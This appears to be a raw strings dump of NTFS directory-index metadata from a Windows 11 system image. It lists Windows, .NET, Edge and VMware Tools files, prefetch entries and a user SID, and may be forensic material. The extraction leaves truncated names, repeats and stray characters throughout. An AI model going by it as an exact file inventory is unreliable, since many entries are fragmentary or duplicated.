$I300 external_extensions.json.DATA external_extensions.json external_extensions.json.DATA external_extensions.json EDGE_G~1 edge_game_assist $I300 EdgeGameAssist.msix.DATA VERSION.DATA EdgeGameAssist.msix0 EdgeGameAssist.msix0 EdgeGameAssist.msix.DATA EDGEGA~1.MSI EdgeGameAssist.msix EDGE_F~1 edge_feedback $I300 camera_mf_trace.wprp.DATA mf_trace.wprp.DATA mf_trace.wprp mf_trace.wprp MF_TRA~1.WPR mf_trace.wprp SVF442~1.PF0 SVCHOST.EXE-0707973A.pf MSIXPA~1.DLL MsixPackageProvisioner.dll MESSAG~1.JSO messages.json BLOB_S~1 blob_storage $I300 b17922ac-00f4-451c-949f-cd5c52eb6c6b B17922~1 -2378c0699609 CBA9F1~1 CBA9F1~1 REPORT~1 Reporting and NEL $I300 messages.json MESSAG~1.JSO SESSIO~1 Session Storage $I300 $I30 $I30 LOG.old MANIFEST-000001 MANIFE~1 zh-CN $I300 Microsoft.ui.xaml.dll.mui Microsoft.UI.Xaml.Phone.dll.mui MICROS~1.MUI MICROS~2.MUI EMIEUS~1 EmieUserList $I300 IEFLIP~1 IEFlipAheadCache $I300 User.dat USERDA~1.LOG User.dat.LOG1 USERDA~2.LOG User.dat.LOG2 USERCL~1.DAT UserClasses.dat USERCL~1.LOG UserClasses.dat.LOG1 USERCL~2.LOG UserClasses.dat.LOG2 mscorlib.dll WofCompressedData $DSC MI5B8F~1.EVT Microsoft-Windows-StorageManagement%4Operational.evtx WMINet_Utils.dll WofCompressedData $DSC SV6BFF~1.PF0 SVCHOST.EXE-09F4AEA4.pf MSCORS~1.PF0 MSCORSVW.EXE-16B291C4.pf WMINet_Utils.dll WofCompressedData $DSC 3.2.0.00 320~1.0 $I300 $I30 $I30 $I30 $I30 ENGLIS~1.TXT female_names.txt FEMALE~1.TXT MSCORL~1.DLL mscorlib.ni.dll 7za.exe DEPLOY~1.DLL deployPkg.dll GIO-20~1.DLL gio-2.0-0.dll GLIB-2~1.DLL glib-2.0-0.dll GLIBMM~1.DLL glibmm-2.68-1.dll 8B4FC4~1 8b4fc483f0b8c3fd7a7740d0902c0026 $I300 GMODUL~1.DLL gmodule-2.0-0.dll GOBJEC~1.DLL gobject-2.0-0.dll GTHREA~1.DLL gthread-2.0-0.dll GUESTS~1.DLL guestStoreClient.dll hgfs.dll iconv.dll icudt44l.dat intl.dll OPEN_S~1.TXT open_source_licenses.txt pcre2-8.dll SIGC-3~1.DLL sigc-3.0-0.dll SUSPEN~1.BAT suspend-vm-default.bat messages $I300 $I300 $I30 $I30 DESKTO~1.VMSmsg toolboxcmd.vmsg TOOLBO~1.VMS vmtoolsd.vmsg VMTOOL~1.VMS VMGUES~2.DLL vmGuestLibJava.dll vmtools.dll VMTOOL~1.VMS vmtoolsd.vmsg vmtoolsd.exe VMWARE~4.EXE VMwareResolutionSet.exe VM4B5F~1.EXE VMwareToolboxCmd.exe VM93B3~1.EXE VMwareXferlogs.exe plugins $I300 common vmsvc vmusr BITMAP~1.DLL bitMapper.dll COMPON~1.DLL componentMgr.dll vmusr $I300 darkModeSync.dll DARKMO~1.DLL desktopEvents.dll DESKTO~1.DLL dndcp.dll vmtray.dll DARKMO~1.DLL darkModeSync.dll DEPLOY~1.DLL deployPkgPlugin.dll DESKTO~1.DLL desktopEvents.dll DESKTO~1.VMS desktopEvents.vmsg DESKTO~1.VMS desktopEvents.vmsg dndcp.dll gdp.dll GUESTI~1.DLL guestInfo.dll GUESTS~1.DLL guestStore.dll GUESTS~2.DLL guestStoreUpgrade.dll common $I300 hgfsServer.dll HGFSSE~1.DLL hgfsUsability.dll HGFSUS~1.DLL vix.dll HGFSSE~1.DLL hgfsServer.dll HGFSUS~1.DLL hgfsUsability.dll powerOps.dll RESOLU~1.DLL resolutionSet.dll timeSync.dll vix.dll vmbackup.dll vmtray.dll VMUPGR~1.BAT VmUpgradeHelper.bat COMPON~1 componentMgr $I300 saltMinion SALTMI~1 vsocklib.dll vsocklib.dll LOCKSC~1.JPG LockScreen___3438_1199_notdimmed.jpg MPWPPC~2.BIN MpWppCoreTracing-20260221-121551-00000003-100000000.bin oem0.PNF oem2.PNF MSIEXE~2.PF0 MSIEXEC.EXE-CDBFC0F7.pf D938D2~1 d938d2cac4a233ac99e15c28311803aa $I300 StaticCache.dat0 STATIC~1.DAT StaticCache.dat WofCompressedData $DSC StorageHealthModel.dat STORAG~1.DAT StorageHealthModel.dat $DSC *{0939ED82-BFD5-4D32-B58E-D31D3C49715A}.cip {0939E~1.CIP {0939ED82-BFD5-4D32-B58E-D31D3C49715A}.cip WofCompressedData $DSC tsprint-datafile.dat TSPRIN~1.DAT tsprint-datafile.dat tsprint-datafile.dat $DSC AUDITR~4.ETL AuditRegular_4.etl CldFlt3.etl MPWPPT~3.BIN MpWppTracing-20260220-160554-00000003-fffffffeffffffff.bin EVENTS~1.DB- EventStore.db-wal APPBAC~1.DLL appbackgroundtask.dll $DSC APPCON~1.DLL AppContracts.dll AppContracts.dll WofCompressedData $DSC $DSC APPCON~1.DLL AppContracts.dll WofCompressedData $DSC APPCON~1.DLL AppContracts.dll AppContracts.dll WofCompressedData $DSC apphelp.dll0 apphelp.dll WofCompressedData $DSC $DSC apphelp.dll WofCompressedData $DSC apphelp.dll WofCompressedData $DSC apphelp.dll0 apphelp.dll WofCompressedData $DSC $DSC appidapi.dll WofCompressedData $DSC appidapi.dll $DSC $DSC appidapi.dll appidapi.dll WofCompressedData $DSC appidapi.dll WofCompressedData $DSC APPOIN~1.DLL AppointmentApis.dll $DSC $DSC APPRAI~1.DLL appraiser.dll WofCompressedData $DSC APPRAI~1.DLL appraiser.dll appraiser.dll WofCompressedData $DSC $DSC APPREA~1.DLL AppReadiness.dll AppReadiness.dll WofCompressedData $DSC $DSC APPRES~1.DLL AppResolver.dll0 AppResolver.dll WofCompressedData $DSC $DSC APPRES~1.DLL AppResolver.dll WofCompressedData $DSC APPSRU~1.DLL appsruprov.dll appsruprov.dll WofCompressedData $DSC $DSC APPVCA~1.DLL AppVCatalog.dll $DSC $DSC APPVET~1.DLL appvetwclientres.dll appvetwclientres.dll WofCompressedData $DSC APPVET~2.DLL appvetwstreamingux.dll $DSC APPVET~2.DLL appvetwstreamingux.dll appvetwstreamingux.dll WofCompressedData $DSC APPVFI~1.DLL AppVFileSystemMetadata.dll $DSC WofCompressedData $DSC APPXDE~1.DLL $DSC WofCompressedData $DSC APPXDE~1.DLL APPXDE~1.DLL AppXDeploymentClient.dll WofCompressedData $DSC APPXDE~1.DLL AppXDeploymentExtensions.desktop.dll WofCompressedData $DSC APPXDE~3.DLL AppXDeploymentServer.dll WofCompressedData $DSC AppxPackaging.dll APPXPA~1.DLL AppxPackaging.dll WofCompressedData $DSC $DSC APPXPA~1.DLL AppxPackaging.dll WofCompressedData $DSC APPXPA~1.DLL AppxPackaging.dll AppxPackaging.dll WofCompressedData $DSC SHAREP~1.DLL SharePickerUI.dll WofCompressedData $DSC SHARET~1.DLL ShareTargets.dll ShareTargets.dll WofCompressedData $DSC SHCore.dll SHCore.dll WofCompressedData $DSC $DSC SHCore.dll WofCompressedData $DSC shell32.dll WofCompressedData $DSC shell32.dll0 shell32.dll WofCompressedData $DSC $DSC SHELLC~1.DLL ShellCommonCommonProxyStub.dll WofCompressedData $DSC WofCompressedData $DSC SHELLC~1.DLL shlwapi.dll0 shlwapi.dll WofCompressedData $DSC $DSC shmig.dll shmig.dll WofCompressedData $DSC shmig.dll shmig.dll WofCompressedData $DSC shmig.dll shmig.dll WofCompressedData $DSC comres.dll.mui COMRES~1.MUI comres.dll.mui WofCompressedData $DSC Conhost.exe.mui0 CONHOS~1.MUI Conhost.exe.mui $DSC console.dll.mui0 CONSOL~1.MUI console.dll.mui WofCompressedData $DSC ConsoleLogon.dll.mui CONSOL~1.MUI ConsoleLogon.dll.mui $DSC CREDPR~1.MUI credprovslegacy.dll.mui $DSC CRYPT3~1.MUI crypt32.dll.mui0 crypt32.dll.mui WofCompressedData $DSC CRYPTD~1.MUI cryptdlg.dll.mui cryptdlg.dll.mui WofCompressedData $DSC CRYPTE~1.MUI cryptext.dll.mui cryptext.dll.mui WofCompressedData $DSC CSCRIP~1.MUI cscript.exe.mui $DSC csrsrv.dll.mui CSRSRV~1.MUI csrsrv.dll.mui WofCompressedData $DSC csrss.exe.mui CSRSSE~1.MUI csrss.exe.mui $DSC d2d1.dll.mui d2d1.dll.mui D2D1DL~1.MUI WofCompressedData $DSC DMVSCS~1.MUI dmvsc.sys.mui dmvsc.sys.mui WofCompressedData $DSC dnsapi.dll.mui DNSAPI~1.MUI dnsapi.dll.mui WofCompressedData $DSC DNSAPI~1.MUI dnsapi.dll.mui $DSC AMD64_~3.MUI amd64_microsoft-windows-d..ient-core.resources_31bf3856ad364e35_10.0.26100.1591_en-us_b30301a4b143f570_dnsrslvr.dll.mui_1e1a1ed1 $DSC urlmon.dll urlmon.dll WofCompressedData $DSC UsbCApi.dll $DSC UsbCApi.dll0 UsbCApi.dll WofCompressedData $DSC USBCCI~1.DLL UsbccidDriver.dll UsbccidDriver.dll WofCompressedData $DSC usbui.dll usbui.dll WofCompressedData $DSC usbui.dll $DSC usbui.dll usbui.dll WofCompressedData $DSC user32.dll user32.dll WofCompressedData $DSC $DSC System.DirectoryServices.AccountManagement.dll .System.DirectoryServices.AccountManagement.dll WofCompressedData $DSC System.DirectoryServices.Protocols.dll &System.DirectoryServices.Protocols.dll WofCompressedData $DSC System.Drawing.dll System.Drawing.dll System.Drawing.dll WofCompressedData $DSC System.Drawing.Design.dll System.Drawing.Design.dll WofCompressedData $DSC System.Management.dll SYSTEM~1.DLL System.Management.dll System.Management.dll WofCompressedData $DSC SYSTEM~1.DLL System.Management.Automation.dll WofCompressedData $DSC SYSTEM~1.DLL System.Management.Automation.Resources.dll WofCompressedData $DSC SYSTEM~1.DLL System.Management.Instrumentation.dll %System.Management.Instrumentation.dll WofCompressedData $DSC WofCompressedData $DSC USERDE~1.DLL WofCompressedData $DSC USERDE~1.DLL $DSC USERDE~1.DLL UserDeviceRegistration.dll WofCompressedData $DSC WofCompressedData $DSC USERDE~2.DLL $DSC uxlibres.dll uxlibres.dll WofCompressedData $DSC System.Net.Ping.dll0 SYSTEM~1.DLL System.Net.Ping.dll WofCompressedData $DSC uxtheme.dll0 uxtheme.dll WofCompressedData $DSC uxtheme.dll WofCompressedData $DSC Videos $I300 Public $I300 $I30 $I30 Documents Downloads Libraries MusicR~ Pictures Desktop $I300 desktop.ini mRemoteNG.lnk MREMOT~1.LNK.LN Documents $I300 $I30 $I30 My Music My Pictures My Videos MYMUSI~1 MYPICT~1 Videos $I300 desktop.ini Windows $I300 en-US Microsoft.NET ServiceState $I30 $I30 $TXF_DATA appcompat $I300 $I30 $I30 Backup~ encapsulation ENCAPS~1 Programs appraiser $I300 $I30 $I30 Appraiser_AlternateData.cab APPRAISER_TelemetryBaseline_GE25H2.bin APPRAI~1.CAB Telemetry Telemetry $I300 Telemetry $I300 Backup $I300 Programs $I300 $I30 $I30 Amcache.hve.LOG1 Amcache.hve.LOG2 AMCACH~1.LOG AMCACH~2.LOG $I300 Appraiser_GE25H2.JSON APPRAI~1.JSO GenericError.bmp GENERI~1.BMP apppatch $I300 $I30 $I30 AppPatch64 Custom~ CustomSDB en-USM~ MergeSdbFilesSource AcPluginDlls $I300 Plugin PluginWowX86 PLUGIN~1 Plugin $I300 AcPlugin_Test.dll AcPlugin_Test2.dll ACPLUG~1.DLL ACPLUG~2.DLL PluginWowX86 $I300 AcPlugin_Test.dll AcPlugin_Test2.dll ACPLUG~1.DLL ACPLUG~2.DLL en-US $I300 AcRes.dll.mui MergeSdbFilesSource $I300 $I30 $I30 01DCA3237C6DC4C6.sysmain.sdb 01DCA3~1.SDB msiMerge.sdb sysMerge.sdb AppReadiness $I300 S-1-5-21-3914889805-4071901059-918772286-1001 S-1-5-~11 S-1-5-~1 assembly $I300 $I30 $I30 GAC_64 GAC_MSIL NativeImages_v4.0.30319_32 NATIVE~1.303 GAC_32 $I300 Microsoft.Ink "Microsoft.Interop.Security.AzRoles srmlib~ Microsoft.Ink $I300 6.1.0.0__31bf3856ad364e35 610~1.0__ 6.1.0.0__31bf3856ad364e35 $I300 Microsoft.Ink.dll "Microsoft.Interop.Security.AzRoles $I300 2.0.0.0__31bf3856ad364e35 200~1.0__ 2.0.0.0__31bf3856ad364e35 $I300 &Microsoft.Interop.Security.AzRoles.dll srmlib $I300 1.0.0.0__31bf3856ad364e35 100~1.0__ 100~1.0__ 1.0.0.0__31bf3856ad364e35 $I300 srmlib.dll GAC_64 $I300 Microsoft.Ink "Microsoft.Interop.Security.AzRoles srmlib~ srmlib $I300 1.0.0.0__31bf3856ad364e35 100~1.0__ 100~1.0__ 1.0.0.0__31bf3856ad364e35 $I300 srmlib.dll GAC_MSIL $I300 $I30 $I30 Microsoft.ManagementConsole Microsoft.ManagementConsole.Resources MICROS~1.RES MICROS~2.RES MICROS~1.RES Microsoft.Ink.Resources $I300 6.1.0.0_en_31bf3856ad364e35 610~1.0_E 300~1.0_E 3.0.0.0_en_31bf3856ad364e35 $I300 MMCFxCommon.Resources.dll NATIVE~1.303 NativeImages_v4.0.30319_32 $I300 $I30 $I30? MICROS~1.IC1 MICROS~1.W19 $I30 $I30 AUDITP~1 AuditPolicy42d3d2cc# $I300 182df48b7f5ae0009a9bf4db8408b688 182DF4~1 182DF4~1 182df48b7f5ae0009a9bf4db8408b688 $I300 $I30 $I30 i.dll.au AuditPolicyGPManagedStubs.Interop.ni.dll.aux AUDITP~1.AUX mscorlib $I300 b3cf609737eb90073e35cdc30c3a3c75 B3CF60~1 b7f46ecd62a3aa399275b2302e207290 B7F46E~1 B3CF60~1 b3cf609737eb90073e35cdc30c3a3c75 $I300 mscorlib.ni.dll mscorlib.ni.dll.aux MSCORL~1.AUX napinit $I300 cd7eb6915361b0c6d82ab4f5cb7964dc CD7EB6~1 CD7EB6~1 cd7eb6915361b0c6d82ab4f5cb7964dc $I300 napinit.ni.dll. napinit.ni.dll.aux NAPINI~1.AUX NAPINI~1.DLL SRPUXS~1 SrpUxSnapIn $I300 29ae7451e5fc137464671bd96beb7c2e 29AE74~1 29AE74~1 29ae7451e5fc137464671bd96beb7c2e $I300 SrpUxSnapIn.ni.dll. SrpUxSnapIn.ni.dll.aux SRPUXS~1.AUX SRPUXS~1.DLL System $I300 b6e2a986346601fc8ac3c6853a10e199 B6E2A9~1 dea0393078281e3e807a8f0684433db5 DEA039~1 B6E2A9~1 b6e2a986346601fc8ac3c6853a10e199 $I300 System.ni.dll.a System.ni.dll.aux SYSTEM~1.AUX SYSTEM~1.CON System.Configuration $I300 c07dbfc3c6b4ad434eee98ecd8287f5b C07DBF~1 C07DBF~1 cd8287f5b C07DBF~1 hyph-cs.hyb System.Core0 SYSTEM~1.COR $I300 11f67a51b42b5a7259cc452d68c29f98 11F67A~1ce3 25693011ce39b302c3b7502992eb741d 256930~1 256930~1 25693011ce39b302c3b7502992eb741d $I300 System.Core.ni.dll. System.Core.ni.dll.aux SYSTEM~1.AUX System.Xml $I300 9cc3554b232e42aa87d1817f20f96874 9CC355~1b70 E225AB~1 5fe7d3704 E225AB~1 HYPH-D~2.HYB hyph-de-1996.hyb SYSTEM~1.LIN System.Xml.Linq $I300 91800cdbeebb7253e7425341cee1117e 91800C~1 91800C~1 1cee1117e 91800C~1 HYPH-D~3.HYB hyph-de-ch-1901.hyb MICROS~1.G46 Microsoft.G46fcc235# $I300 4ecb7e919c36ef8cda5349495809376f 4ECB7E~1 4ECB7E~1 95809376f 4ECB7E~1 MSCORL~1.DLL mscorlib.ni.dll MICROS~1.G91 Microsoft.G91a07420# $I300 ce70d124a3e0ac84e4345d78e7146887 CE70D1~1 CE70D1~1 8e7146887 CE70D1~1 93C062~1 93c06234794f9c0b75a708c93a62624935e69594 MICROS~1.GA4 Microsoft.Ga41585c2# $I300 f32090d653b5edb285b04bcfdc55d772 F32090~106a F854CB~1 e7abf8e17 F854CB~1 B7F46E~1 b7f46ecd62a3aa399275b2302e207290 $I300 mscorlib.ni.dll mscorlib.ni.dll.aux MSCORL~1.AUX MSCORL~1.DLL MICROS~1.I0C Microsoft.I0cd65b90# $I300 28b58624f32bd5cf72f198397328a737 28B586~1 28B586~1 28b58624f32bd5cf72f198397328a737 $I300 $I30 $I30 .dll Microsoft.Isam.Esent.Interop.Wsa.ni.dll.aux MICROS~1.AUX MICROS~1.MFF Microsoft.Mff1be75b# $I300 e4e587258693e8ec62b3faa4c565053e E4E587~1545 FACA65~1 150660c62 FACA65~1 MSCORL~1.AUX mscorlib.ni.dll.aux MICROS~1.P04 Microsoft.P047767ce# $I300 f54a29981d88fc734efd614fc639b756 F54A29~1 F54A29~1 f54a29981d88fc734efd614fc639b756 $I300 $I30 $I30 s.ni.dll Microsoft.PowerShell.Core.Activities.ni.dll.aux MICROS~1.AUX appcompat apppatch AppReadiness assembly bcastdvr bfsvc.exe Boot bootstat.dat Branding BrowserCore CbsTemp Containers CONTAI~1 Cursors debug diagnostics DiagTrack DigitalLocker DIGITA~1 Downloaded Program Files DtcInstall.log DTCINS~1.LOG ELAMBKUP IdentityCRL ImmersiveControlPanel InboxApps INBOXA~1 InputMethod Installer L2Schemas LanguageOverlayCache LiveKernelReports LogsKE~ Media Microsoft explorer.exel Fonts GameBarPresenceWriter Globalization HelpAL~ HelpPane.exeX hh.exet IdentityCRL ImmersiveControlPanel InboxApps INBOXA~1 InputMethod Installer L2Schemas LanguageOverlayCache LiveKernelReports LogsKE~ lsasetup.logP Media mib.bin Microsoft Offline Web Pages Performance PolicyDefinitions Provisioning Registration RemotePackages REMOTE~1 rescache Resources SchCache schemas security ServiceProfiles SERVIC~1 MICROS~1 Migration ModemLogs notepad.exe Offline Web Pages Panther Performance PolicyDefinitions Prefetchona Professional.xml PROFES~1.XML Provisioning regedit.exe Registration RemotePackages REMOTE~1 rescache Resources SchCache schemas security ServiceProfiles Speech Speech_OneCore System~ System32 SystemApps SystemResources SystemTemp SysWOW64 TAPI Tasks Temp tracing twain_32 servicing SERVIC~1 SetupC~ setupact.lognts setuperr.lognts ShellComponents ShellExperiences SoftwareDistribution SOFTWA~1 Speech Speech_OneCore splwow64.exeV System~ system.ini System32 SystemApps SystemResources SystemTemp SysWOW64 TAPI Tasks Temp tracing twain_32 twain_32.dll WaaS win.ini WindowsShell.Manifest WindowsUpdate.log WINDOW~1.LOGR winhlp32.exeR WinSxS WMSysPr9.prx WUModels System.Xml $I300 v4.0_4.0.0.0__b77a5c561934e089 V40_40~1.0__ v4.0_4.0.0.0__b77a5c561934e089 $I300 System.XML.dll System.Xml.Linq $I300 v4.0_4.0.0.0__b77a5c561934e089 V40_40~1.0__ v4.0_4.0.0.0__b77a5c561934e089 $I300 System.Xml.Linq.dll XsdBuildTask $I300 v4.0_4.0.0.0__31bf3856ad364e35 V40_40~1.0__ v4.0_4.0.0.0__31bf3856ad364e35 $I300 XsdBuildTask.dll authman $I300 Framework $I300 $I30 $I30 SharedReg12.dll v1.0.3705 v1.1.4322 v2.0.50727 v4.0.30319 v1.0.3705 $I300 installutil.exe.config mscormmc.cfg mscormmc.dllcon regsvcs.exe.config v1.1.4322 $I300 gacutil.exe.config regsvcs.exe.config REGSVC~1.CON v2.0.50727 $I300 CONFIG CONFIG $I300 v4.0.30319 $I300 $I30 $I30 Microsoft.Build.Engine.dllr Microsoft.VisualC.Dllmp $I30 $I30 1033 $I300 $I30 $I30 cscui.dll CvtResUI.dll FileTrackerUI.dll /Microsoft.VisualBasic.Activities.CompilerUI.dll ASP.NETWebAdminFiles $I300 $I30 $I30 App_Code App_Data App_GlobalResources App_LocalResources AppConfig $I300 $I30 $I30 AppSetting.ascx App_LocalResources CreateAppSetting.aspx DebugAndTrace.aspx Wizard $I300 $I30 $I30 confirmation.ascx wizardAddUser.ascx wizardAuthentication.ascx wizardCreateRoles.ascx App_LocalResources $I300 $I30 $I30 wizard.aspx.resx wizardAddUser.ascx.resx wizardAuthentication.ascx.resx wizardCreateRoles.ascx.resx Config $I300 $I30 $I30 DefaultWsdlHelpGenerator.aspx legacy.web_hightrust.config machine.config.comments web.config.comments Browsers $I300 $I30 $I30 chrome.browser Default.browser firefox.browser gateway.browser en-US $I300 $I30 $I30 .Applications.dll.mui ServiceModelEvents.dll.mui ServiceModelInstallRC.dll.mui 'ServiceModelPerformanceCounters.dll.mui MSBuild $I300 Microsoft.Build.Commontypes.xsd Microsoft.Build.Core.xsd MICROS~1.XSD $I300 0409 0409 $I300 mscorsecr.dll en-US $I300 PresentationHost_v0400.dll.mui Fonts $I300 GlobalMonospace.CompositeFont GlobalSansSerif.CompositeFont GlobalSerif.CompositeFont !GlobalUserInterface.CompositeFont Framework64 $I300 sbscmp10.dll sbscmp20_mscorwks.dlldl sbscmp20_perfcounter.dll SharedReg12.dll v4.0.30319 v4.0.30319 $I300 $I30 $I30 Microsoft.Build.Engine.dllr Microsoft.VisualC.Dllmp mscorsn.dll $I30 $I30? templates $I300 templates $I300 SERVIC~1 ServiceProfiles $I300 LocalService LOCALS~1 NetworkService NETWOR~1 LOCALS~1 LocalService $I300 NTUSER.DAT{2ad838bc-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000002.regtrans-ms $I30 $I30 Downloads AppData $I300 Local LocalLow Roaming Local $I300 $I30 $I30 Microsoftua MICROS~1Qua TempeAn UsageAndQualityInsights USAGEA~1 USAGEA~1 UsageAndQualityInsights $I300 Feature_Configs FEATUR~1 FEATUR~1 Feature_Configs $I300 ShellHealth_V4.json ServiceState $I300 EventLog WinHttpAutoProxySvc WINHTT~1 wmansvc $I300 en-US en-US $I300 $I30 $I30 M1033Eva.ACL M1033Eva.APM M1033Mark.APM M1033Zira.APM NUSData NUSData $I300 $I30 $I30 M1033David.keyboard.RAD M1033Mark.keyboard.NU2 M1033Mark.keyboard.RAD M1033Zira.keyboard.NU2 System $I300 Speech Speech $I300 speech-synthesis.xsd synthesis-core.xsd xml.xsd System32 $I300 $I30 $I30 $TXF_DATA $I30 $I30 $I30? 0409 $I300 ACCOUN~1 AccountHealthAssets $I300 $I30 $I30 MicrosoftLogo-125.png MicrosoftLogo-150.png MicrosoftLogo-175.png AdvancedInstallers $I300 cmiv2.dll af-ZA $I300 $I30 $I30 comdlg32.dll.mui fms.dll.mui mlang.dll.mui SyncRes.dll.mui am-ET $I300 $I30 $I30 comdlg32.dll.mui fms.dll.mui mlang.dll.mui SyncRes.dll.mui AppLocker $I300 DLL.AppLocker DLL~1.APPck EXE.AppLocker EXE~1.APP `Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat `Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat $DSC TMicrosoft-OneCore-Kernel-AppCore-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat TMicrosoft-OneCore-Kernel-AppCore-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat aMicrosoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat aMicrosoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat $DSC OHyperV-LegacyChipset-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat0 OHyperV-LegacyChipset-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat WofCompressedData $DSC MMicrosoft-Windows-WinOcr-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat MMicrosoft-Windows-WinOcr-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat aMicrosoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat aMicrosoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat dMicrosoft-OneCore-CoreSystem-Core-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat dMicrosoft-OneCore-CoreSystem-Core-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat dMicrosoft-OneCore-SecureStartup-Foundation-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat dMicrosoft-OneCore-SecureStartup-Foundation-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat 00B486~1.CAT 00b4866758bb26c31d73d3675e163726023704e3fc500542331b920d360eaa00.cat $DSC WofCompressedData $DSC RMicrosoft-OneCore-Transactions-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat RMicrosoft-OneCore-Transactions-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat 00CEE8~1.CAT 00cee89e2c5cc6e00c1f6d930f8fe1ec97fcc452ec876ceca85170c1be30a03b.cat WofCompressedData $DSC gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat0 gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat $DSC NMicrosoft-OneCore-MinInput-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat NMicrosoft-OneCore-MinInput-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat 06B874~1.CAT 06b874ca48330b1b0cbc4b1d21a0d4766b93c0cfcaa71bd090842c221169b142.cat WofCompressedData $DSC VMicrosoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat VMicrosoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat $DSC 06E135~1.CAT 06e135420a459554058fb1ded18b83ff2a0a4d4a89a53edd3050b2b587360197.cat WofCompressedData $DSC WofCompressedData $DSC RMicrosoft-Windows-ShellOptions-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat RMicrosoft-Windows-ShellOptions-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat 06F61D~1.CAT 06f61d005c931a7973444f60a896816f4fc7cd873fc95b9dabff17bec50a5010.cat WofCompressedData $DSC 99BB47~1.CAT 99bb47acdb07e4d7f18277f062e489d7ec69c8d38936b661e50b58a5722f12a1.cat WofCompressedData $DSC 07150B~1.CAT 07150b5384d4328b060e8c3a41247a1fe44fb4fb4dacb83bbd6c3c0167218257.cat WofCompressedData $DSC 090FA8~1.CAT 090fa8b75e8cda3b7306ea264fe1a0ea7af1809e5b2ca71e8eeb27fe5ae513cc.cat WofCompressedData $DSC fMicrosoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat fMicrosoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat 0912DD~1.CAT 0912dd24a5766ed9f4d97bd112b2a808ba38e4aba666d757fb4e7418110de181.cat $DSC WContainers-Client-Manager-Cleanup-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 WContainers-Client-Manager-Cleanup-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat $DSC slui.exe $DSC $DSC WofCompressedData $DSC SMARTS~1.EXE smartscreen.exe $DSC SMARTS~1.EXE smartscreen.exe WofCompressedData $DSC SMCONF~1.EXE SMConfigInstaller.exe $DSC sppsvc.exe WofCompressedData $DSC sppsvc.exe sppsvc.exe WofCompressedData $DSC SRDELA~1.EXE srdelayed.exe srdelayed.exe WofCompressedData $DSC SRDELA~1.EXE srdelayed.exe srdelayed.exe WofCompressedData $DSC tar.exe0 tar.exe WofCompressedData $DSC tar.exe WofCompressedData $DSC TASKHO~1.EXE taskhostw.exe taskhostw.exe WofCompressedData $DSC $DSC HEALTH~1.EXE HealthAttestationClientAgent.exe WofCompressedData $DSC tasklist.exe tasklist.exe WofCompressedData $DSC Taskmgr.exe0 Taskmgr.exe WofCompressedData $DSC Taskmgr.exe WofCompressedData $DSC Taskmgr.exe0 Taskmgr.exe WofCompressedData $DSC NGCPRO~1.DLL NgcProCsp.dll NgcProCsp.dll WofCompressedData $DSC NGCPRO~1.DLL NgcProCsp.dll $DSC $DSC NGCREC~1.DLL ngcrecovery.dll0 ngcrecovery.dll WofCompressedData $DSC NGCREC~1.DLL ngcrecovery.dll $DSC $DSC FrameServer.dll WofCompressedData $DSC NOTIFI~1.DLL NotificationController.dll WofCompressedData $DSC WofCompressedData $DSC NOTIFI~1.DLL WofCompressedData $DSC NOTIFI~2.DLL NOTIFI~1.DLL notificationplatformcomponent.dll $DSC npmproxy.dll npmproxy.dll WofCompressedData $DSC $DSC npmproxy.dll $DSC npmproxy.dll npmproxy.dll WofCompressedData $DSC $DSC ntdsmsg.dll $DSC ntevt.dll $DSC $DSC ntevt.dll ntevt.dll WofCompressedData $DSC ntlanman.dll WofCompressedData $DSC offreg.dll offreg.dll WofCompressedData $DSC offreg.dll $DSC $DSC OK9IBRES.DLL OK9IBRES.DLL OK9IBRES.DLL WofCompressedData $DSC ole32.dll ole32.dll WofCompressedData $DSC $DSC WMIC.exe WofCompressedData $DSC WMIC.exe $DSC $DSC WmiPrvSE.exe WofCompressedData $DSC WmiPrvSE.exe WmiPrvSE.exe WofCompressedData $DSC $DSC icacls.exe icacls.exe WofCompressedData $DSC INFDEF~1.EXE InfDefaultInstall.exe InfDefaultInstall.exe WofCompressedData $DSC INFDEF~1.EXE InfDefaultInstall.exe InfDefaultInstall.exe WofCompressedData $DSC ipconfig.exe ipconfig.exe WofCompressedData $DSC REFSDE~1.EXE ReFsDedupSvc.exe ReFsDedupSvc.exe WofCompressedData $DSC REFSDE~1.EXE ReFsDedupSvc.exe WofCompressedData $DSC refsutil.exe WofCompressedData $DSC 